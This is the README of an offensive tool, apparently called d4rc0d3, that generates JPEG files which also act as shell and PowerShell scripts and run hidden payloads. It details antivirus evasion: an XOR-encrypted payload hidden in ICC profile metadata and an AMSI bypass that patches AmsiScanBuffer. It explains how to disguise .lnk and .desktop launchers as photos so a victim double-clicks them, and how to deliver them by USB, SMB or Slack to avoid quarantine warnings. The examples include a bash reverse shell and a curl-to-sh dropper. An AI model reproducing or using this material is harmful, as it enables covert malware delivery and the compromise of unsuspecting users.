219 lines
8.1 KiB
Markdown
219 lines
8.1 KiB
Markdown
# d4rc0d3
|
|
|
|
Generates a single JPEG file that is simultaneously:
|
|
|
|
- A valid image (displays normally in any viewer)
|
|
- A shell script — `./photo.jpg` or `sh photo.jpg` on Linux/macOS
|
|
- A PowerShell script — rename to `.ps1` and run with `pwsh` on Windows
|
|
- A double-click launcher for macOS, Linux, and Windows
|
|
|
|
---
|
|
|
|
## Files
|
|
|
|
```
|
|
D4rc0d3/
|
|
├── src source code of d4rkc0d3_engine (for cross compile / amd-arm-etc)
|
|
├── d4rc0d3.py main tool (Python, no external deps beyond stdlib)
|
|
├── d4rc0d3_engine compiled engine binary (arm64 Linux version, see "src")
|
|
├── cover.jpg sample cover image
|
|
└── README.md
|
|
```
|
|
|
|
The `d4rc0d3_engine` binary must match the host architecture.
|
|
To recompile from source:
|
|
|
|
```bash
|
|
# Requires: gcc, libturbojpeg-dev, libjpeg-dev
|
|
cd src/
|
|
g++ -std=c++23 -O3 -s -o ../d4rc0d3_engine \
|
|
args.cpp bootstrap.cpp file_utils.cpp jpeg_process.cpp \
|
|
jpeg_warning_check.cpp d4rc0d3_core.cpp -lturbojpeg -ljpeg -lm
|
|
```
|
|
|
|
---
|
|
|
|
## Requirements
|
|
|
|
- Python 3.11+
|
|
- No Python dependencies
|
|
- `d4rc0d3_engine` binary matching the host CPU architecture
|
|
|
|
---
|
|
|
|
## How the polyglot works
|
|
|
|
```
|
|
┌──────────────────────────────────────────────────────────────────┐
|
|
│ photo.jpg │
|
|
│ │
|
|
│ SOI │
|
|
│ COM → shell bootstrap (octal-encoded, Perl XOR-decoding pipe) │
|
|
│ APP0 → <# opens PowerShell block comment │
|
|
│ APP2 → ICC profile: #> closes comment + XOR-decode stub │
|
|
│ 16-byte key embedded at ICC offset 102 │
|
|
│ JPEG image data (real, displayable photo) │
|
|
│ EOI │
|
|
│ [post-EOI: base64+XOR payload — scripts and binaries only] │
|
|
└──────────────────────────────────────────────────────────────────┘
|
|
|
|
./photo.jpg or sh photo.jpg
|
|
→ COM bootstrap runs via sh/bash
|
|
→ Perl XOR-decodes the payload using key from ICC profile
|
|
→ Executes the result
|
|
|
|
pwsh photo.ps1 (after renaming)
|
|
→ APP0 <# opens PS block comment over all binary data
|
|
→ APP2 #> closes the comment — clean PS1 starts here
|
|
→ XOR stub reads key from ICC, decodes and runs payload
|
|
|
|
Image viewer
|
|
→ Reads JPEG header, ignores COM/APP segments it doesn't recognise
|
|
→ Displays the photo normally
|
|
```
|
|
|
|
**AV evasion built into every generated file:**
|
|
|
|
- Payload XOR-encrypted with 16-byte key hidden in JPEG ICC profile metadata
|
|
- PowerShell executor double char-array encoded — no plaintext `iex`, `Invoke-Expression`, or URL strings
|
|
- No recognisable dropper strings visible in the raw file
|
|
- ICC profile fields match a real sRGB color profile (CMM, version, illuminant, etc.)
|
|
- AMSI bypass injected before PS1 payload execution (patches `AmsiScanBuffer` in memory)
|
|
|
|
---
|
|
|
|
## Usage
|
|
|
|
### Interactive (recommended)
|
|
|
|
```bash
|
|
python3 d4rc0d3.py
|
|
```
|
|
|
|
Prompts for image, payload type, command, target platforms, and output directory.
|
|
|
|
### Command line
|
|
|
|
```
|
|
python3 d4rc0d3.py [OPTIONS] <image> [payload_file]
|
|
```
|
|
|
|
**Payload** (pick one):
|
|
|
|
| Argument | Description |
|
|
| --------------------------- | ----------------------------------------------------------- |
|
|
| `-c "command"` | Inline shell command. Slack-safe. Works on all platforms. |
|
|
| `file.ps1` | PowerShell script. Embedded in ICC profile (XOR-encrypted). |
|
|
| `file.py` / `file.sh` | Script. base64+XOR in post-EOI. Linux/macOS. |
|
|
| `file.exe` / `file.elf` | Binary. base64+XOR in post-EOI. Runs on target OS. |
|
|
| `-c "pre-cmd" file.ps1` | Run pre-command first, then the PS1 file. |
|
|
|
|
**Platform output flags:**
|
|
|
|
| Flag | Output | What victim sees |
|
|
| --------------- | --------------------- | ---------------------------------- |
|
|
| *(none)* | `photo.jpg` | — |
|
|
| `--mac` | `photo.zip` | `photo.jpg` in Finder |
|
|
| `--linux` | `photo_launch.jpg` | `photo_launch.jpg` (no .desktop) |
|
|
| `--linux-dot` | `photo.jpg.desktop` | `photo.jpg.desktop` |
|
|
| `--windows` | `photo.jpg.lnk` | `photo.jpg` in Explorer |
|
|
| `--all` | all of the above | — |
|
|
|
|
**Other flags:**
|
|
|
|
| Flag | Description |
|
|
| ------------- | --------------------------------------------- |
|
|
| `--amsi` | Inject AMSI bypass (default: on for`.ps1`) |
|
|
| `--no-amsi` | Disable AMSI bypass |
|
|
| `--show` | Open image viewer on execution |
|
|
| `--keep` | Keep extracted payload after execution |
|
|
| `-d DIR` | Extraction directory (default:`/tmp`) |
|
|
| `-o DIR` | Output directory (default: current directory) |
|
|
|
|
---
|
|
|
|
## Examples
|
|
|
|
```bash
|
|
# Inline command, generate for all platforms
|
|
python3 d4rc0d3.py photo.jpg -c "id > /tmp/pwned.txt" --all -o /tmp/out/
|
|
|
|
# Reverse shell, all platforms
|
|
python3 d4rc0d3.py photo.jpg -c \
|
|
"bash -c 'bash -i >& /dev/tcp/192.168.1.10/4444 0>&1'" --all
|
|
|
|
# PowerShell payload with AMSI bypass, Windows + macOS
|
|
python3 d4rc0d3.py photo.jpg shell.ps1 --windows --mac --amsi -o /tmp/out/
|
|
|
|
# Python dropper, Linux targets
|
|
python3 d4rc0d3.py photo.jpg dropper.py --linux --linux-dot -o /tmp/out/
|
|
|
|
# Dropper: download and execute
|
|
python3 d4rc0d3.py photo.jpg -c "curl -s http://192.168.1.10/s.sh | sh" --all
|
|
```
|
|
|
|
---
|
|
|
|
## Execution on each platform
|
|
|
|
### Linux / macOS — terminal
|
|
|
|
```bash
|
|
# Direct execution (file already has +x)
|
|
./photo.jpg
|
|
|
|
# Or explicitly
|
|
sh photo.jpg
|
|
|
|
# Post-Slack (bash rejects due to NUL bytes injected by Slack)
|
|
sh photo.jpg
|
|
```
|
|
|
|
### Windows — PowerShell
|
|
|
|
```powershell
|
|
# Rename and run
|
|
ren photo.jpg photo.ps1
|
|
pwsh -ExecutionPolicy Bypass photo.ps1
|
|
|
|
# Or without renaming
|
|
powershell -ExecutionPolicy Bypass -File photo.jpg
|
|
```
|
|
|
|
### Double-click — macOS
|
|
|
|
1. Send `photo.zip` to the victim (USB or local share — see Notes)
|
|
2. Victim extracts the ZIP
|
|
3. Finder shows `photo.jpg` — double-click it
|
|
4. Preview opens the photo; payload runs silently in background
|
|
|
|
> **Notes:** macOS applies quarantine to files from the internet.
|
|
> Unsigned bundles trigger a dialog. Deliver via **USB or local SMB share**
|
|
> — quarantine is not applied, no dialog appears.
|
|
|
|
### Double-click — Linux
|
|
|
|
- `photo_launch.jpg` — Thunar, Nemo, Caja, Dolphin execute on double-click (content-based MIME detection, no dialog)
|
|
- `photo.jpg.desktop` — all file managers, Nautilus shows "Trust and Launch" once
|
|
|
|
### Double-click — Windows
|
|
|
|
Double-click `photo.jpg.lnk` — Explorer hides `.lnk` so the victim sees `photo.jpg`.
|
|
Runs: `powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File photo.jpg`
|
|
|
|
> **SmartScreen:** may warn for files from the internet. Deliver via USB or internal share.
|
|
|
|
---
|
|
|
|
## Payload compatibility
|
|
|
|
| Payload | `sh`/`bash` | `pwsh` | Double-click macOS | Double-click Linux | Post-Slack |
|
|
| ------------------- | --------------- | -------- | ------------------ | ------------------ | ----------------------- |
|
|
| `-c` inline | ✓ | ✓ | ✓ | ✓ | ✓ only inline survives |
|
|
| `.ps1` | ✓ (needs pwsh) | ✓ | ✓ | ✓ (needs pwsh) | ✗ stripped |
|
|
| `.py` / `.sh` | ✓ | ✗ | ✓ | ✓ | ✗ stripped |
|
|
| `.exe` / `.elf` | ✓ | ✗ | ✓ | ✓ | ✗ stripped |
|
|
|
|
Slack strips post-EOI data. For Slack delivery use `-c "command"`.
|
|
After downloading from Slack use `sh photo.jpg` (not `bash`).
|